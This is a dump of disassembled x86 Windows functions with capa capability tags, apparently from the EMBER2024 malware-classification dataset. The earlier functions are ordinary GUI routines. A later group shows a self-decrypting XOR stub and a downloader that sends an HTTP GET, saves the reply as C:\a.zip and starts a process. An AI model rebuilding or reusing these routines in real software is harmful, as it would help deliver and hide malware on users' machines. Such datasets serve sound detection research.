joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449b30
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x10
lea eax, [esp]
push esi
mov esi, dword [esp + 0x18]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [esi]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
push eax
mov dword [esi + 4], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 1
push eax
mov dword [esi + 8], eax
call dword [sym.imp.GDI32.dll_SetBkMode]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x449b7a
push eax
mov eax, dword [esi + 8]
mov dword [esi + 0x18], 0
push eax
jmp 0x449ba9
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
sub ecx, eax
mov eax, dword [esi + 4]
push ecx
mov ecx, dword [esp + 8]
mov dword [esi + 0x18], 1
sub edx, ecx
push edx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esi + 8]
push eax
mov dword [esi + 0x10], eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
cmp eax, 1
jne 0x449beb
mov edx, dword [esi + 4]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push 0xcc0020
push 0
push 0
push edx
mov edx, dword [esp + 0x18]
sub eax, edx
mov edx, dword [esp + 0x14]
sub ecx, edx
mov edx, dword [esi + 8]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 8]
pop esi
add esp, 0x10
ret 4
Function at 0x44f4c7
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x486976
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
lea ecx, [esi + 0x14]
call fcn.00476fb4
mov eax, dword [0x51026c]
xor edi, edi
mov dword [esp + 0x18], edi
mov dword [esi + 0x48], eax
mov ebx, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
cmp ebx, edi
mov byte [esp + 0x18], 1
mov dword [esi], 0x4f683c
mov dword [esi + 4], edi
mov dword [esi + 8], ecx
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
je 0x44f524
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.00477e6c
add esp, 4
mov dword [esi + 4], eax
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x10]
or eax, 0xffffffff
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x4c], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x45a5f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x28
push ebp
push esi
mov esi, ecx
xor ebp, ebp
push edi
cmp dword [esi + 0x78], ebp
je 0x45a7ad
push ebx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], 1
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], ebp
mov eax, dword [esi + 0x90]
cmp eax, ebp
je 0x45a726
mov ecx, dword [esi + 0x94]
sub ecx, eax
mov eax, dword [esp + 0x14]
sar ecx, 4
cmp eax, ecx
jae 0x45a726
xor ebx, ebx
mov edx, dword [esi + 0x90]
mov eax, dword [esp + 0x10]
add eax, edx
mov ecx, dword [eax + 4]
cmp ecx, ebp
je 0x45a70d
mov edx, dword [eax + 8]
sub edx, ecx
sar edx, 2
cmp ebx, edx
jae 0x45a70d
mov eax, ecx
mov ecx, esi
mov edi, dword [eax + ebx*4]
push edi
call fcn.0045b860
mov ebp, eax
test ebp, ebp
je 0x45a705
push ebp
mov ecx, esi
call fcn.0045cdf0
test eax, eax
je 0x45a705
mov edx, dword [esi + 0x74]
cmp edi, edx
je 0x45a705
mov eax, dword [esp + 0x10]
xor ecx, ecx
test ebx, ebx
sete cl
mov dword [esp + 0x24], ecx
mov ecx, dword [esi + 0x90]
add eax, ecx
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x45a6c6
xor eax, eax
jmp 0x45a6ce
mov eax, dword [eax + 8]
sub eax, ecx
sar eax, 2
dec eax
xor ecx, ecx
cmp ebx, eax
lea eax, [edi + 1]
sete cl
mov dword [esp + 0x28], ecx
xor ecx, ecx
cmp eax, edx
sete cl
dec edi
mov dword [esp + 0x30], ecx
xor eax, eax
cmp edi, edx
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x18]
sete al
push ecx
push edx
mov ecx, ebp
mov dword [esp + 0x3c], eax
call fcn.0045d790
inc ebx
xor ebp, ebp
jmp 0x45a657
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
inc ecx
add eax, 0x10
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
jmp 0x45a630
mov eax, dword [esi + 0x74]
mov ecx, esi
push eax
call fcn.0045bb70
test eax, eax
pop ebx
je 0x45a7ad
mov ecx, dword [esi + 0x74]
push ecx
mov ecx, esi
call fcn.0045b860
mov edi, eax
cmp edi, ebp
je 0x45a7ad
push edi
mov ecx, esi
call fcn.0045cdf0
test eax, eax
je 0x45a7ad
mov eax, 1
lea edx, [esi + 0x1f8]
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x74]
mov ecx, esi
push eax
mov dword [esp + 0x18], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
mov dword [esp + 0x20], edx
call fcn.0045bdb0
mov ecx, dword [esi + 0x74]
mov dword [esp + 0x20], eax
push ecx
mov ecx, esi
call fcn.0045be20
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push eax
call fcn.0045d790
pop edi
pop esi
pop ebp
add esp, 0x28
ret 4
Function at 0x463560
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x487a51
push eax
mov dword fs:[0], esp
sub esp, 0xec
push edi
mov edi, ecx
mov eax, dword [edi + 0x5c]
test eax, eax
jne 0x46359d
xor eax, eax
pop edi
mov ecx, dword [esp + 0xec]
mov dword fs:[0], ecx
add esp, 0xf8
ret
push esi
push 0x400
lea ecx, [esp + 0xc]
call fcn.0047ff1e
push 0
push 0x1000
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x40]
mov dword [esp + 0x10c], 0
call fcn.0047f266
lea ecx, [esp + 0x30]
mov byte [esp + 0xfc], 1
push ecx
mov ecx, dword [edi + 0x5c]
call fcn.0045c170
lea ecx, [esp + 8]
call fcn.0048018d
lea ecx, [esp + 0x30]
call fcn.0047f3ca
mov edx, dword [esp + 8]
push 0
push 0
lea ecx, [esp + 0x10]
call dword [edx + 0x28]
push 0
push 0x1000
lea eax, [esp + 0x10]
push 1
push eax
lea ecx, [esp + 0x84]
call fcn.0047f266
lea ecx, [esp + 0x74]
lea esi, [edi + 0x60]
push ecx
mov ecx, esi
mov byte [esp + 0x100], 2
call fcn.0045c610
lea ecx, [esp + 0x74]
call fcn.0047f3ca
lea ecx, [esp + 8]
call fcn.0048018e
mov eax, dword [edi + 0x5c]
lea edx, [esp + 0xb8]
push edx
push 0x3c
mov eax, dword [eax + 0xc8]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
lea ecx, [esp + 0xb8]
push ecx
mov ecx, esi
call fcn.00459d80
mov edx, dword [edi + 0x5c]
push 0xffffffffffffffff
mov ecx, esi
mov eax, dword [edx + 0xdc]
mov dword [esi + 0xdc], eax
call fcn.0045c080
mov ecx, esi
call fcn.0045cd30
mov eax, dword [edi + 0x5c]
push 0xffffffffffffffff
mov ecx, esi
mov eax, dword [eax + 0xe0]
mov dword [esi + 0xe0], eax
call fcn.0045c080
mov ecx, esi
call fcn.0045cd30
mov ecx, dword [edi + 0x5c]
push 0xffffffffffffffff
mov eax, dword [ecx + 0xe4]
mov ecx, esi
mov dword [esi + 0xe4], eax
call fcn.0045c080
mov ecx, esi
call fcn.0045cd30
mov ecx, dword [edi + 0x5c]
call fcn.00459550
push eax
mov ecx, esi
call fcn.00459560
mov ecx, dword [edi + 0x5c]
call fcn.00459b20
push eax
mov ecx, esi
call fcn.00459ac0
mov ecx, dword [edi + 0x5c]
call fcn.00459c40
push eax
mov ecx, esi
call fcn.00459bf0
mov ecx, dword [edi + 0x5c]
push 0
call fcn.00458e30
push eax
mov ecx, esi
call fcn.00458e40
mov edx, dword [edi + 0x7c]
push 1
push 0
push edx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x74]
mov byte [esp + 0xfc], 1
call fcn.0047f342
lea ecx, [esp + 0x30]
mov byte [esp + 0xfc], 0
call fcn.0047f342
lea ecx, [esp + 8]
mov dword [esp + 0xfc], 0xffffffff
call fcn.0047ffa7
mov ecx, dword [esp + 0xf4]
pop esi
mov eax, 1
pop edi
mov dword fs:[0], ecx
add esp, 0xf8
ret
Function at 0x464de0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x487c77
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x158
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], method.CMenu.virtual_0
mov dword [esi + 4], ebx
lea ecx, [esi + 0x1c]
mov dword [esp + 0x16c], ebx
call fcn.004763c6
lea ecx, [esi + 0x24]
mov byte [esp + 0x16c], 1
call fcn.004763c6
mov edi, dword [sym.imp.USER32.dll_GetSysColor]
push 7
mov byte [esp + 0x170], 2
mov dword [esi], method.CMenu.virtual_0
call edi
push 0xe
mov dword [esi + 0x2c], eax
call edi
push 0xf
mov dword [esi + 0x30], eax
call edi
push 4
mov dword [esi + 0x34], eax
call edi
push 0xd
mov dword [esi + 0x38], eax
call edi
push 0x14
mov dword [esi + 0x3c], eax
call edi
push 0x10
mov dword [esi + 0x40], eax
call edi
push 0x11
mov dword [esi + 0x44], eax
call edi
push 0xf
mov dword [esi + 0x48], eax
call edi
push 0x14
mov dword [esi + 0x4c], eax
call edi
push 0x10
mov dword [esi + 0x50], eax
call edi
mov dword [esi + 0x54], eax
mov eax, 0x14
mov ecx, eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], ecx
mov ecx, 0x55
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push ebx
push eax
push ebx
push 0x29
mov dword [esi + 0x58], ebx
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ebx
mov dword [esi + 0x64], ebx
mov dword [esi + 0xc], ebx
mov dword [esp + 0x20], 0x154
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
lea ecx, [esp + 0xb0]
push ecx
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov ecx, esi
mov dword [esi + 0x10], eax
mov dword [esi + 8], ebx
call fcn.00465900
mov eax, esi
mov ecx, dword [esp + 0x164]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x164
ret
Function at 0x465950
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x487d50
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.00481f11
mov edi, dword [eax + 0xc]
xor ebp, ebp
cmp edi, ebp
jne 0x465983
xor al, al
jmp 0x465aaf
mov ebx, dword [esp + 0x28]
push 0xf1
and ebx, 0xffff
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebp
jne 0x4659a5
xor al, al
jmp 0x465aaf
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebp
jne 0x4659b8
xor al, al
jmp 0x465aaf
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebp
jne 0x4659cc
xor al, al
jmp 0x465aaf
xor eax, eax
xor ecx, ecx
mov ax, word [edi + 2]
push ebp
mov dword [esi + 0x14], eax
xor eax, eax
mov ax, word [edi + 4]
mov edx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
mov cx, word [edi + 6]
push ecx
push 5
push eax
push edx
lea ecx, [esi + 0x1c]
call fcn.00476476
test eax, eax
jne 0x465a00
xor al, al
jmp 0x465aaf
mov eax, dword [esi + 0x34]
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetBkColor]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 0x4f787c
mov dword [esp + 0x20], ebp
call fcn.00481f11
mov eax, dword [eax + 0xc]
push ebx
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esp + 0x14]
call fcn.0047ef1b
mov edx, dword [esp + 0x14]
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x10]
push 0xc0c0c0
neg eax
sbb eax, eax
and eax, edx
push eax
push ecx
call dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
lea ecx, [esp + 0x10]
call fcn.0047ef72
xor ecx, ecx
lea ebx, [edi + 8]
cmp word [edi + 6], cx
jbe 0x465a94
mov ax, word [ebx]
test ax, ax
je 0x465a86
mov edx, ecx
inc ecx
mov dword [esp + 0x28], ecx
push eax
push edx
mov ecx, esi
call fcn.00465ad0
mov ecx, dword [esp + 0x28]
xor edx, edx
inc ebp
mov dx, word [edi + 6]
add ebx, 2
cmp ebp, edx
jl 0x465a6a
mov dword [esp + 0x10], method.CGdiObject.virtual_0
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 1
call fcn.0047ef72
mov al, 1
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4

Function at 0x466010
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x50
push esi
mov esi, dword [esp + 0x58]
push edi
push eax
mov ecx, esi
call fcn.004805cb
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x466056
lea ecx, [esp + 8]
push 0x50
push ecx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [esp + 8]
push edx
call fcn.00467b68
mov ecx, dword [esp + 0x68]
add esp, 4
pop edi
mov dword [ecx], eax
pop esi
add esp, 0x50
ret 0xc
mov edx, dword [esp + 0x64]
lea ecx, [esp + 8]
mov eax, dword [edx]
push eax
push 0x51021c
push ecx
call fcn.004691b2
add esp, 0xc
lea edx, [esp + 8]
push edx
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
add esp, 0x50
ret 0xc
Function at 0x47a4e1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x47a519
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00478586
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047855e
jmp 0x47a525
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x47bcdf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x47bd21
call fcn.00481f11
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x47bd21
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x47bd18
xor eax, eax
jmp 0x47bd29
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0047bd2f
pop edi
pop esi
pop ebx
ret 4

Function at 0x482441
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x48246f
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x48248d
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004823a7
jmp 0x48248d
mov eax, dword [esi + 0x14]
test eax, eax
je 0x48248d
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004823a7
test edi, edi
mov eax, edi
jne 0x482477
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401000
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x404200
push dword [ebp + 0xc]
xor eax, eax
xor edi, edi
mov word [ebp - 4], ax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x401029
push 0xfffffffffffffff8
pop eax
jmp 0x401065
push ebx
jmp 0x401043
push 1
lea eax, [ebp - 4]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov byte [ebp - 4], 0
add edi, ebx
push 0
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
push esi
test ebx, ebx
jg 0x40102c
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401069
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push str.Mozilla_5.0
push esi
push eax
push str.GET___s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:__s_r_nKeep_Alive:_300_r_nConnection:_keep_alive_r_n_r_n
lea eax, [ebp - 0x204]
push 0x1ff
push eax
call fcn.0040156f
push esi
call fcn.00402dde
add esp, 0x1c
test eax, eax
jne 0x4010b9
push 0xfffffffffffffffc
pop eax
jmp 0x40114f
push edi
push 2
pop esi
push 0x50
mov dword [ebp - 0x210], eax
mov word [ebp - 0x214], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x212], ax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4010ef
push 0xfffffffffffffffb
jmp 0x401106
push 0x10
lea eax, [ebp - 0x214]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401109
push 0xfffffffffffffffa
pop eax
jmp 0x40114e
lea ecx, [ebp - 0x204]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401112
push 0
sub ecx, edx
lea eax, [ebp - 0x204]
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push str.C:_a.zip
push 3
push ebx
call fcn.0040156f
push ebx
push edi
call fcn.00401228
add esp, 0x14
mov esi, eax
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004031cd
leave
ret
Function at 0x401228
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push esi
push 0
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
jmp 0x40128e
lea eax, [ebp - 0x404]
push str._r_n_r_n
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x4012a3
cmp esi, 0x400
je 0x401292
push eax
push 1
lea eax, [ebp - 0x404]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add esi, eax
test esi, esi
jg 0x401258
push 0xfffffffffffffff9
pop eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004031cd
leave
ret
push ebx
push dword [ebp + 8]
call section..text
pop ecx
pop ecx
jmp 0x401295

Function at 0x4012b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
xor edi, edi
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x404283
xor eax, eax
mov dword [ebp - 0x54], esi
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 1
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push 0x28
push edi
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401322
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
cmp dword [ebp + 0xc], 2
sete al
inc eax
pop edi
pop esi
leave
ret

Function at 0x4016d4
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [0x406120]
lea ecx, [ebp - 0x80]
push ecx
xor edx, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x98]
lea ecx, [ebp - 0x78]
push edx
push edx
push ecx
push eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 1
call dword [sym.imp.WS2_32.dll_select]
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.004031cd
add ebp, 0x90
leave
ret
Function at 0x401732
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402dde
pop ecx
test eax, eax
jne 0x401755
or eax, 0xffffffff
jmp 0x40179d
push esi
push 2
pop esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401784
push 0xfffffffffffffffe
pop eax
jmp 0x40179c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0xfffffffffffffffd
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004031cd
leave
ret

Function at 0x401804
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x804
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x814]
push edi
test esi, esi
je 0x4018b4
mov ebp, 0x800
push ebp
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
call fcn.004016d4
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x4018b0
cmp edi, 0x7ff
je 0x40188a
push 0
push 1
lea eax, [esp + 0x18]
add eax, edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4018ac
add edi, eax
mov al, byte [esp + edi + 0xf]
cmp al, 0xd
je 0x401886
cmp al, 0xa
je 0x401886
push esi
call fcn.004016d4
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x40184d
test ebx, ebx
jle 0x4018b0
cmp edi, 2
jl 0x401830
dec edi
cmp edi, ebp
jae 0x4018cf
lea eax, [esp + 0x10]
mov byte [esp + edi + 0x10], 0
push eax
push esi
call fcn.00401940
pop ecx
pop ecx
test eax, eax
jns 0x401830
jmp 0x4018b6
xor eax, eax
jmp 0x4018b6
mov eax, ebx
jmp 0x4018b6
mov eax, esi
mov ecx, dword [esp + 0x810]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004031cd
add esp, 0x804
ret
call fcn.004032fd
int3

Function at 0x4018d5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
cmp byte [eax], 0
je 0x4018f6
push esi
push eax
push esi
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x14]
push 2
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push esi
lea ecx, [ebp + 8]
push ecx
push 0x4027d1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40193d
or eax, 0xffffffff
pop esi
pop ebp
ret